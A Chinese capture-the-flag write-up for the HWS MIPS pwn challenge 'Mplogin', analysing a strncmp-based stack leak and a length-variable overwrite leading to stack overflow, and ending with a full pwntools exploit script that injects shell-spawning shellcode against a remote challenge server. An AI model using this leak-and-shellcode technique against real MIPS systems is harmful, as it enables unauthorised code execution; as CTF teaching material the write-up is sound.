HWS赛题 入门 MIPS Pwn-Mplogin(MIPS_shellcode)
解题所涉知识点:
泄露或修改内存数据:
- 堆地址:
- 栈地址:栈上数据的连带输出(Stack Leak) && Stack溢出覆盖内存
- libc地址:
- BSS段地址:
劫持程序执行流程:[[MIPS_ROP]]
获得shell或flag:MIPS_Shellcode
题目类型:
MIPS_Pwn
相关知识点:
strncmp的利用
MIPS 与 x86 函数栈帧的开辟和恢复对比
信息收集总结
题目信息:
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ file Mplogin
Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ checksec --file=Mplogin
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 3Mplogin
libc版本:
wp借鉴:HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
mips pwn入门指北 | waddle’s blog (mikokuma.github.io)
异构 Pwn 之 Mips32 | 狼目安全 (lmboke.com)
MIPS PWN 入门 – itewqq’s blog
MIPS PWN学习 - 先知社区 (aliyun.com)
程序运行回馈
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ qemu-mipsel -L ./ Mplogin
-----we1c0me t0 MP l0g1n s7stem-----
Username : 123456 ┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ tree -N -L 2
.
├── lib
│ ├── ld-uClibc.so.0
│ └── libc.so.0
└── Mplogin2 directories, 3 files
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ qemu-mipsel -L ./ Mplogin | hexdump -C
00000000 1b 5b 33 33 6d 2d 2d 2d 2d 2d 77 65 31 63 30 6d |.[33m-----we1c0m|
00000010 65 20 74 30 20 4d 50 20 6c 30 67 31 6e 20 73 37 |e t0 MP l0g1n s7|
00000020 73 74 65 6d 2d 2d 2d 2d 2d 0a 1b 5b 33 34 6d 55 |stem-----..[34mU|
adminaaaaaaaaaaaaaaaaaa
00000030 73 65 72 6e 61 6d 65 20 3a 20 43 6f 72 72 65 63 |sername : Correc|
00000040 74 20 6e 61 6d 65 20 3a 20 61 64 6d 69 6e 61 61 |t name : adminaa|
00000050 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa|
00000060 0a b0 ae 2a 2b 90 0b 40 1b 5b 33 31 6d 50 72 65 |...*+..@.[31mPre|
accessaaaaaaaaaaaaaaa
00000070 5f 50 61 73 73 77 6f 72 64 20 3a 20 50 61 73 73 |_Password : Pass|
012345678911111111111111111111111111111
qemu: uncaught target signal 10 (Bus error) - core dumped
00000080 77 6f 72 64 20 3a 20 43 6f 72 72 65 63 74 20 70 |word : Correct p|
00000090 61 73 73 77 6f 72 64 20 3a 20 2a 2a 2a 2a 2a 2a |assword : ******|
000000a0 2a 2a 2a 2a 0a |****.|
000000a5
zsh: bus error qemu-mipsel -L ./ Mplogin |
zsh: done hexdump -C
核心伪代码分析:
存在利用的的代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{int v3; // $a2int len; // [sp+18h] [+18h]setbuf(stdin, 0, envp);setbuf(stdout, 0, v3);printf("\x1B[33m");puts("-----we1c0me t0 MP l0g1n s7stem-----");len = checkuser();checkpassword(len);printf("\x1B[32m");return puts("Now you getshell~");
}
int checkuser()
{char user[24]; // [sp+18h] [+18h] BYREFmemset(user, 0, sizeof(user));printf("\x1B[34m");printf("Username : ");read(0, user, 24);if ( strncmp(user, "admin", 5) )exit(0);printf("Correct name : %s", user);return strlen(user);
}
由于没有处理输入结尾,并可以填满栈上的缓冲区,导致再次打印时,栈上的数据会被泄露!
成功泄漏出栈上地址!
int __fastcall sub_400978(int len)
{char buf[20]; // [sp+18h] [+18h] BYREFint len1; // [sp+2Ch] [+2Ch]char pass[36]; // [sp+3Ch] [+3Ch] BYREFlen1 = len + 4;printf("\x1B[31m");printf("Pre_Password : ");read(0, buf, 36);printf("Password : ");read(0, pass, len1);if ( strncmp(buf, "access", 6) || strncmp(pass, "0123456789", 10) )exit(0);return puts("Correct password : **********");
}
这个函数首先可以输入溢出覆盖v3这个变量,再次输入时由v3变量控制长度导致栈溢出
MIPS 的开辟和恢复栈帧:
.text:00400A2C 03 C0 E8 25 move $sp, $fp
# 将帧指针 $fp 的值恢复到栈指针 $sp,撤销函数调用时对栈的修改,恢复函数调用前的栈状态。.text:00400A30 8F BF 00 7C lw $ra, 0x58+var_s24($sp)
# 从栈中偏移 0x7C 的位置恢复返回地址寄存器 $ra,这个值是在函数进入时保存的,用于返回到调用函数。.text:00400A34 8F BE 00 78 lw $fp, 0x58+var_s20($sp)
# 从栈中偏移 0x78 的位置恢复帧指针 $fp,这个值是函数调用之前的帧指针,恢复之前的栈帧结构。.text:00400A38 8F B7 00 74 lw $s7, 0x58+var_s1C($sp)
# 从栈中偏移 0x74 的位置恢复保存的寄存器 $s7 的值。.text:00400A3C 8F B6 00 70 lw $s6, 0x58+var_s18($sp)
# 从栈中偏移 0x70 的位置恢复保存的寄存器 $s6 的值。.text:00400A40 8F B5 00 6C lw $s5, 0x58+var_s14($sp)
# 从栈中偏移 0x6C 的位置恢复保存的寄存器 $s5 的值。.text:00400A44 8F B4 00 68 lw $s4, 0x58+var_s10($sp)
# 从栈中偏移 0x68 的位置恢复保存的寄存器 $s4 的值。.text:00400A48 8F B3 00 64 lw $s3, 0x58+var_sC($sp)
# 从栈中偏移 0x64 的位置恢复保存的寄存器 $s3 的值。.text:00400A4C 8F B2 00 60 lw $s2, 0x58+var_s8($sp)
# 从栈中偏移 0x60 的位置恢复保存的寄存器 $s2 的值。.text:00400A50 8F B1 00 5C lw $s1, 0x58+var_s4($sp)
# 从栈中偏移 0x5C 的位置恢复保存的寄存器 $s1 的值。.text:00400A54 8F B0 00 58 lw $s0, 0x58+var_s0($sp)
# 从栈中偏移 0x58 的位置恢复保存的寄存器 $s0 的值。.........text:00400A58 27 BD 00 80 addiu $sp, $sp, 0x80
# 恢复栈指针 $sp,撤销函数调用时分配的栈空间(即加回 0x80 字节)。.text:00400A5C 03 E0 00 08 jr $ra
# 跳转到 $ra 保存的返回地址,结束当前函数并返回到调用函数。.text:00400A60 00 00 00 00 nop
# 无操作(NOP),这是一个占位指令,通常用来避免延迟槽问题。
发现栈地址是可以执行可读写的:
攻击思路总结
在输入user时候,输入admin时候就可以通过验证,由于字符串对比是使用strncmp函数对比所以可以通过输入超过adminaaaaaa既可以验证成功又可以连带输出栈上的地址,获得栈上地址后!就可以劫持返回地址并且再栈上写入shellocde这样就可以成功执行了
脚本:
import argparse
from pwn import *
from LibcSearcher import *# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()pwnfile = './Mplogin'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')is_remote = args.r
is_debug = args.dif is_remote:sh = remote('node5.buuoj.cn', 26456)
else:if is_debug:sh = process(["qemu-mipsel", "-L", "./", "-g", "1234", pwnfile])else:sh = process(["qemu-mipsel", "-L", "./", pwnfile])def mygdb():if not is_remote and is_debug:gdb.attach(sh, """target remote localhost:1234b *0x4008C8""") # brva 0xe93
mygdb()
# leak stack(old fp)
sh.sendafter("name : ",'admin'.ljust(0x18,'a'))
sh.recvuntil("Correct name : ");
sh.recv(0x18)
stack = u32(sh.recv(4))# stack overflow
sh.sendafter("Pre_Password : ",b"access".ljust(0x14,b'2')+p32(0x100))
sh.sendafter("Password : ",b"0123456789".ljust(0x28,b"2")+p32(stack)+asm(shellcraft.sh()))sh.interactive()
相关文章:

HWS赛题 入门 MIPS Pwn-Mplogin(MIPS_shellcode)
解题所涉知识点: 泄露或修改内存数据: 堆地址:栈地址:栈上数据的连带输出(Stack Leak) && Stack溢出覆盖内存libc地址:BSS段地址: 劫持程序执行流程:[[MIPS_ROP]] 获得shell或flag&am…...

纯血鸿蒙启动公测,爱加密鸿蒙加固平台发布,助力鸿蒙应用安全运营!
鸿蒙系统打破了移动操作系统两极格局,实现操作系统核心技术的自主可控、安全可靠,在神州大地上掀起一波科技革新的浪潮,HarmonyOS NEXT成为大型企业必须要布局的应用系统之一。 HarmonyOS NEXT于10月8日正式开启公测,距离面向全体…...

MySQL中 truncate、drop和delete的区别
MySQL中 truncate、drop和delete区别 truncate 执行速度快,删除所有数据,但是保留表结构不记录日志事务不安全,不能回滚可重置自增主键计数器 drop 执行速度较快,删除整张表数据和结构不记录日志事务不安全,不能回…...

什么开放式耳机值得买?开放式耳机推荐排行榜!
长时间佩戴传统入耳式耳机有时可能会影响耳道健康,鉴于此,转而选择不入耳设计的开放式耳机就成了不少人的新倾向,它们有助于减少细菌滋生和耳道闷热的烦恼。为了帮助大家找到合适的选项,下面我将列举一些市面上口碑不错的开放式耳…...
Apache Doris的分区与分桶详解
目录 第一章 Doris介绍和分区分桶作用 1.1 Doris背景介绍 1.2 分区与分桶的意义 第二章 原理解析 2.1 分区机制 2.1.1 定义 2.1.2 类型 2.1.3 工作原理 2.2 分桶机制 2.2.1 概念 2.2.2 实现方式 2.2.3 与分区的关系 第三章 手动分区与自动分区对比 3.1 手动分区 …...
docker详解介绍+基础操作 (二)info详解
1 docker相关信息和优化配置 1)查看docker版本详解 rootzz:~# docker version Client: Docker Engine - CommunityVersion: 27.3.1API version: 1.47Go version: go1.22.7Git commit: ce12230Built: Fri Sep 20 11:40:…...

C0023.在Clion中创建控件,对控件进行提升为自定义控件的步骤
新建Ui界面文件 修改新生成的ui文件头文件 关闭之前打开的ui文件,如上图Qt Designer中打开的,然后修改新生成的ui文件对应的头文件,改成自己需要的控件类即可。 提升控件为自定义类 将如下头文件中的类名和头文件名输入到提升窗口中&#…...
探索 C# 常用第三方库与框架
在 C# 开发中,第三方库和框架极大地提高了开发效率和代码质量。通过这些库,开发者可以快速处理 JSON 数据、简化对象映射、记录日志、以及高效地与数据库交互。本文将介绍四个常用的 C# 第三方库:Newtonsoft.Json、AutoMapper、NLog/Serilog …...
NodeJS GRPC简单的例子
1. 定义 .proto 文件 首先,创建一个 .proto 文件,定义服务和消息: syntax "proto3";package helloworld;service Greeter {rpc SayHello (HelloRequest) returns (HelloReply) {}rpc SayHelloAgain (HelloRequest) returns (Hel…...

无人机之三维航迹规划篇
一、基本原理 飞行环境建模:在三维航迹规划中,首先需要对飞行环境进行建模。这包括对地形、障碍物、气象等因素进行准确的测量和分析,以获得可行的飞行路径。 飞行任务需求分析:根据无人机的任务需求,确定航迹规划的…...

风格迁移-StyTr 2 : Image Style Transfer with Transformers
风格迁移-StyTr 2 : Image Style Transfer with Transformers 论文链接:Image Style Transfer with Transformers 源码链接:StyTR-2 文章目录 风格迁移-StyTr 2 : Image Style Transfer with TransformersStyTR架构图图像内容编码器内容感知位置编码&…...
上百种【基于YOLOv8/v10/v11的目标检测系统】目录(python+pyside6界面+系统源码+可训练的数据集+也完成的训练模型)
待更新(持续更新),早关注,不迷路............................................................................... 目标检测系统操作说明【用户使用指南】(pythonpyside6界面系统源码可训练的数据集也完成的训练模型ÿ…...

记录搜罗到的Matlab 对散点进行椭圆拟合
需要基于一些散点拟合椭圆估计并计算出椭圆的参数和周长,搜罗到直接上代码 (1)有用的椭圆拟合及参数计算函数 function W fitellipse(x,y) % 构造矩阵 D [x.*x, x.*y, y.*y, x, y,ones(size(x))]; S D*D; G zeros(6); G(1,3) 2; G(3,1)…...

分享我最近使用《柬埔寨语翻译通》App的体验,不会说高棉语也能去柬埔寨旅游,畅通无阻!
最近,我尝试了一款名为《柬埔寨语翻译通》的应用程序,它旨在帮助用户进行中文和高棉语之间的翻译。以下是我使用这款应用的一些体验和感受。 双向翻译功能:我首先测试了它的翻译功能。《柬埔寨语翻译通》能够将中文翻译成高棉语,反…...

文本语义检索系统的搭建过程,涵盖了召回、排序以及Milvus召回系统、短视频推荐等相关内容
大家好,我是微学AI,今天给大家介绍一下本文详细介绍了文本语义检索系统的搭建过程,涵盖了召回、排序以及Milvus召回系统的相关内容。通过使用PyTorch框架,我们提供了样例代码,以帮助读者更好地理解和实践。该系统具有广…...
redis在项目中运用(基础)
mysql学完命令之后,学过jdbc。 redis也要使用Java连接redis数据库 1.Jedis 2.RedisTemplate[重点] 1、Jedis【了解】 jedis是redis的java版本的客户端实现,jedis中提供了针对redis命令的操作 1.1导入jar文件 Maven方式 <dependency><group…...

libaom 源码分析系列:svc_encoder_rtc.cc 文件
源码函数关系 文件功能:实现 AV1 svc 编码的 RTC 功能 demo文件位置:libaom/examples/svc_encoder_rtc.cc文件内函数关系图: 结构体 AppInput:svc_encoder_rtc.cc 所属 demo 的结构体,作为从命令行接受参数的结构体;AvxVideoWriter:输出视频写入结构体;aom_codec_enc_c…...
MySQL备份和还原,用mysqldump、mysql和source命令来完成
MySQL备份和还原,都是利用mysqldump、mysql和source命令来完成的。 mysqldump命令使用方法 1运行 | cmd |利用 cd C:\Program Files\MySQL\MySQL Server 9.0\bin”命令进入bin文件夹 2输入命令 mysqldump -h127.0.0.1 -P3306 -uroot -pQWERTY zssjkcf>d:123.sql mysqldump -…...

MySQL Server、HeidiSQL(MySQL 数据库工具)
目录 一、MySQL Server (一)官网下载 (二)安装与配置 二、HeidiSQL软件 (一)安装 1. 官网下载 2. 打开 3. 使用 (1)打开服务 (2)新增数据库 ÿ…...
矩阵相关算法
矩阵旋转90度 给定一个 n n 的二维矩阵 matrix 表示一个图像,请你将图像顺时针旋转 90 度。 #include <iostream> #include <vector>using namespace std;void rotate(vector<vector<int>>& matrix) {int n matrix.size();// 第一步…...

C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...

成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战
在现代战争中,电磁频谱已成为继陆、海、空、天之后的 “第五维战场”,雷达作为电磁频谱领域的关键装备,其干扰与抗干扰能力的较量,直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器,凭借数字射…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
浅谈不同二分算法的查找情况
二分算法原理比较简单,但是实际的算法模板却有很多,这一切都源于二分查找问题中的复杂情况和二分算法的边界处理,以下是博主对一些二分算法查找的情况分析。 需要说明的是,以下二分算法都是基于有序序列为升序有序的情况…...

JVM虚拟机:内存结构、垃圾回收、性能优化
1、JVM虚拟机的简介 Java 虚拟机(Java Virtual Machine 简称:JVM)是运行所有 Java 程序的抽象计算机,是 Java 语言的运行环境,实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息,使得 Java 程序只需生成在 JVM 上运行的目标代码(字节码),就可以…...
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的“no matching...“系列算法协商失败问题
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的"no matching..."系列算法协商失败问题 摘要: 近期,在使用较新版本的OpenSSH客户端连接老旧SSH服务器时,会遇到 "no matching key exchange method found", "n…...
Spring Boot + MyBatis 集成支付宝支付流程
Spring Boot MyBatis 集成支付宝支付流程 核心流程 商户系统生成订单调用支付宝创建预支付订单用户跳转支付宝完成支付支付宝异步通知支付结果商户处理支付结果更新订单状态支付宝同步跳转回商户页面 代码实现示例(电脑网站支付) 1. 添加依赖 <!…...
电脑桌面太单调,用Python写一个桌面小宠物应用。
下面是一个使用Python创建的简单桌面小宠物应用。这个小宠物会在桌面上游荡,可以响应鼠标点击,并且有简单的动画效果。 import tkinter as tk import random import time from PIL import Image, ImageTk import os import sysclass DesktopPet:def __i…...

leetcode_69.x的平方根
题目如下 : 看到题 ,我们最原始的想法就是暴力解决: for(long long i 0;i<INT_MAX;i){if(i*ix){return i;}else if((i*i>x)&&((i-1)*(i-1)<x)){return i-1;}}我们直接开始遍历,我们是整数的平方根,所以我们分两…...
使用 uv 工具快速部署并管理 vLLM 推理环境
uv:现代 Python 项目管理的高效助手 uv:Rust 驱动的 Python 包管理新时代 在部署大语言模型(LLM)推理服务时,vLLM 是一个备受关注的方案,具备高吞吐、低延迟和对 OpenAI API 的良好兼容性。为了提高部署效…...